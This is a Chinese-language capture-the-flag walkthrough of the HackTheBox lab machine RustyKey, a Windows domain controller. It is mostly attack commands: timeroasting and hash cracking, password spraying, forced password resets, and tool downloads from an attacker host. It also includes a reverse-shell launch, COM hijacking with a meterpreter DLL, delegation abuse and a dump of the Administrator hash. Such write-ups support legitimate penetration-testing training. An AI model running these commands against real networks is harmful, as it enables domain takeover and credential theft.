开局我们便拥有一个账号
rr.parker / 8#t5HE8L!W3A
Nmap扫描
那么首先我们先探测nmap了解主机的大概情况
nmap -p- --min-rate 1000 -T4 10.10.11.75 -oA nmapfullscan -sV -sC
SMB服务访问受阻
让我们来仔细分析端口情况,这是一个域控主机,其中开启了47001端口的http服务,和一个5985远程端口,445文件共享服务,389的ldap服务,53端口的DNS服务。很好,如果在真实环境,我们很可能先从53获取一些host信息,但现在我们最好是从445、47001和389开始进入。我们首先看看http。再来看看445端口是否有什么shares,我们在这里遇到了一些问题。
我进一步探查原因,我们发现NTLM认证貌似不被支持,这可能意味着,我们必须使用ccache文件进入系统,或者必须确定好正确的hostname。
我们尝试尝试ccache文件是否可以正确认证。
impacket-getTGT rustykey.htb/rr.parker:'8#t5HE8L!W3A' -dc-ip 10.10.11.75
经过不断尝试我们发现是设置好hostname就会正常了
Bloodhound获取域地图
那我们先来来完成域地图构建的工作
bloodhound-python -d rustykey.htb -dc dc.rustykey.htb -c All -u rr.parker -p '8#t5HE8L!W3A' -k --dns-timeout 10 -v
我们查看了很多地方,发现这个用户非常有趣,是自定义的用户并且拥有通往域控的能力,我们可能可以控制他。
经过查看当前近期的文章,我们发现现在出现了一种叫做timerosting的攻击手法(https://github.com/SecuraBV/Timeroast),可以窃取计算机账户的hash摘要,如果我们可以控制用户的samAccount,也可以成功获取账户的hash摘要,相当好用了,但是这需要修改用户名,所以不用为好。
Timeroasting
python timeroast.py 10.10.11.75
hashcat -a 0 -m 31300 hash/timeroasting /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt
我们获取了一个弱密码,那么开始喷洒这个弱密码
kerbrute passwordspray --dc dc.rustykey.htb -d rustykey.htb -v users.txt 'Rusty88!'
kerbrute passwordspray --dc dc.rustykey.htb -d rustykey.htb -v computer.txt 'Rusty88!'
域地图分析
很快我们发现这个密码是IT-COMPUTER3$的,我们在域地图开始查明这个用户能够做到什么。
./godap 10.10.11.75 -u IT-COMPUTER3$ -p 'Rusty88!' -d rustykey.htb
IT-Computer3$可以加入到helpdesk,所以我们可以拥有以下用户
这些用户我们分别查看一下,看看我们能否获得更高权限。bb.morgan、gg.anderson用户可为我们提供,IT组的权限,能够进行远程登录
ee.reed用户可以为我们提供远程和SUPPORT权限
其他用户的能力并不重要,故不展示,现在我们看看IT和Support组可以干什么,貌似并没有册数的权限。所以我们强制修改密码进入用户吧。
ForceChangePassword 强制修改用户密码 & 受阻碍的Winrm登录
impacket-getTGT rustykey.htb/IT-COMPUTER3$:'Rusty88!' -dc-ip 10.10.11.75
#加入IT-COMPUTER3$到helpdesk
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/IT-COMPUTER3$.ccache
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' IT-COMPUTER3$
#将bb.morgan移出受保护对象组,将IT移出受保护对象
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb remove groupMember 'CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB' IT
#修改用户密码
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb -f default set password bb.morgan 'ydx@ComeHere#88!'
#获取TGT
impacket-getTGT rustykey.htb/bb.morgan:'ydx@ComeHere#88!' -dc-ip 10.10.11.75
#切换到bb.morgan登录主机
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/bb.morgan.ccache
evil-winrm -i dc.rustykey.htb -u bb.morgan -p 'ydx@ComeHere#88!' -r rustykey.htb
很好经过不懈努力,我们终于进入winrm,我希望首先快速使用winpeas扫描主机信息
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.7/winPEASx64.exe', 'C:\Users\bb.morgan\Documents\winPEASx64.exe')
(New-Object Net.WebClient).UploadFile('ftp://10.10.16.7/ftp/internal.pdf', 'C:\Users\bb.morgan\Desktop\internal.pdf')
我们发现了一个文件internal.pdf,他告诉我们这个内网当中在执行某种测试
嘿,团队:
作为新的支持工具部署的一部分,已临时授予扩展访问权限,以便测试和排查共享工作站上的文件归档功能。
此举主要是为了加快解决财务部和 IT 部门报告的与压缩/解压相关的问题。由于一些新系统对右键菜单操作的处理方式不同,在此阶段可能需要进行注册表级别的调整。
几点说明:
- 在该访问权限启用期间,请避免对系统组件进行无关的更改;
- 此权限变更已记录,并将在归档工具在所有环境中确认稳定后撤回;
- 如果遇到访问错误或右键菜单缺少相关操作,请告知 DevOps。
谢谢!
**BB Morgan**
IT 部门
我们看到文件基本上说明,我们很可能拥有修改注册表的能力,那么我们就很有可能能够劫持注册表。我们登录ee.reed用户并使用
################################################################
#shell kali 加入IT-COMPUTER3$到helpdesk
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/IT-COMPUTER3$.ccache
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' IT-COMPUTER3$
#将ee.reed移出受保护对象组,将IT移出受保护对象
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb remove groupMember 'CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB' SUPPORT
#修改用户密码
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb -f default set password ee.reed 'ydx@ComeHere#88!'
################################################################
################################################################
#shell bb.morgan 传输runascs
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.6/RunasCs.exe', 'C:\Users\bb.morgan\Documents\RunasCs.exe')
#变换为ee.reed用户
.\RunasCs.exe "ee.reed" 'ydx@ComeHere#88!' powershell.exe -r 10.10.16.6:9001
################################################################
################################################################
#shell ee.reed用户下,下载winpease查询
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.7/winPEASx64.exe', 'C:\tool\winPEASx64.exe')
################################################################
COM劫持
发现可劫持COM,因为HKLM\software\classes里面都是COM
我们开始使用脚本爬取当前用户可控的COM
function Test-WritePermission {
param($Path)
try {
$acl = Get-Acl -Path $Path -ErrorAction Stop
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
foreach ($rule in $acl.Access) {
if ($rule.IdentityReference -eq $user -and $rule.FileSystemRights -match "Write" -and $rule.AccessControlType -eq "Allow") {
return $true
}
}
return $false
} catch {
return $false
}
}
$locations = @("HKLM:\Software\Classes\CLSID", "HKCU:\Software\Classes\CLSID")
foreach ($base in $locations) {
Get-ChildItem -Path $base | ForEach-Object {
$clsidPath = $_.PsPath
$inproc = Join-Path $clsidPath "InprocServer32"
if (Test-Path $inproc) {
$dllPath = (Get-ItemProperty -Path $inproc -Name "(default)" -ErrorAction SilentlyContinue)."(default)"
if ($dllPath -and $dllPath -like "?:\*") {
$canWriteDll = Test-WritePermission $dllPath
$canWriteReg = $false
try {
New-ItemProperty -Path $inproc -Name "Test" -Value "Test" -Force -ErrorAction Stop | Out-Null
Remove-ItemProperty -Path $inproc -Name "Test" -Force -ErrorAction SilentlyContinue
$canWriteReg = $true
} catch {}
if ($canWriteDll -or $canWriteReg) {
Write-Host "⚠ 可控 COM:" -ForegroundColor Yellow
Write-Host " CLSID: $($_.PSChildName)"
Write-Host " InprocServer32: $dllPath"
Write-Host " 可写 DLL: $canWriteDll, 可写注册表: $canWriteReg"
Write-Host ""
}
}
}
}
}
⚠ 可控 COM:
CLSID: {23170F69-40C1-278A-1000-000100020000}
InprocServer32: C:\Program Files\7-Zip\7-zip.dll
可写 DLL: False, 可写注册表: True
确定攻击CLSID我们开始构造payload
################################################################
#shell kali msf构造dll payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.6 LPORT=5003 -f dll -o rev.dll
################################################################
################################################################
#shell ee.reed 传输dll
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.6/rev.dll', 'C:\tool\rev.dll')
#强制修改注册表(有风险请注意)
New-Item -Path "HKLM:Software\Classes\CLSID" -Name "{23170F69-40C1-278A-1000-000100020000}" -Force
New-Item -Path "HKLM:Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}" -Name "InprocServer32" -Value "C:\tool\rev.dll" -Force
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\tool\rev.dll" /f
#查看注册表情况
Get-ChildItem -Path "Registry::HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}"
################################################################
AddAllowedToAct - RBCD 资源约束委派 有SPN版
我们成功获取了mm.turner用户的shell,这个用户是DelegationManagement,可以委派DC给其他用户。
################################################################
#shell kali 创建新的电脑账户(如果有权限)
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/bb.morgan.ccache
bloodyAD -d rustykey.htb -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add computer YDX123$ 'Rusty88!'
################################################################
################################################################
#shell ee.reed传输ActiveDirectory
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.6/ActiveDirectory.ps1', 'C:\tool\ActiveDirectory.ps1')
################################################################
################################################################
#shell mm.tuner 导入ActiveDirectory.ps1
cd c:\tool
powershell
Import-Module .\ActiveDirectory.ps1
#Assing delegation privileges
Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount dd.ali
#Check that it worked
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount
#设置虚假SPN用户
bloodyAD --host dc.rustykey.htb -d "rustykey.htb" --dc-ip 10.10.11.75 -k set object "dd.ali" servicePrincipalName -v "cifs/evil"
#伪装用户
impacket-getST -spn 'cifs/evil' -impersonate 'DC' -dc-ip 10.10.11.75 -k 'rustykey.htb/rr.parker:8#t5HE8L!W3A'
################################################################
AddAllowedToAct - RBCD 资源约束委派 无SPN版
但我们在设置SPN用户的地方死掉了,所以我们尝试不需要SPN的RBCD
################################################################
# shell kali 加入IT-COMPUTER3$到helpdesk
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/IT-COMPUTER3$.ccache
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' IT-COMPUTER3$
#修改用户密码
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb -f default set password dd.ali 'ydx@ComeHere#88!'
# Obtain a TGT through overpass-the-hash to use RC4
impacket-getTGT -hashes :$(pypykatz crypto nt 'ydx@ComeHere#88!') 'rustykey.htb'/'dd.ali' -dc-ip 10.10.11.75
# Obtain the TGT session key
impacket-describeTicket 'dd.ali.ccache' | grep 'Ticket Session Key'
# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/dd.ali.ccache
impacket-changepasswd -newhashes :911b4c1730230e064e642b140fa48035 'rustykey.htb'/'dd.ali':'ydx@ComeHere#88!'@'dc' -debug -k
# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy
KRB5CCNAME='dd.ali.ccache' impacket-getST -u2u -impersonate "backupadmin" -spn "host/dc.rustykey.htb" -k -no-pass 'rustykey.htb'/'dd.ali'
#提取密码
impacket-secretsdump -just-dc-user Administrator -k -no-pass dc.rustykey.htb
# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
################################################################
我们进一步推进
impacket-getTGT rustykey.htb/administrator -dc-ip 10.10.11.75 -hashes aad3b435b51404eeaad3b435b51404ee:f7a351e12f70cc177a1d5bd11b28ac26
evil-winrm -i dc.rustykey.htb -r rustykey.htb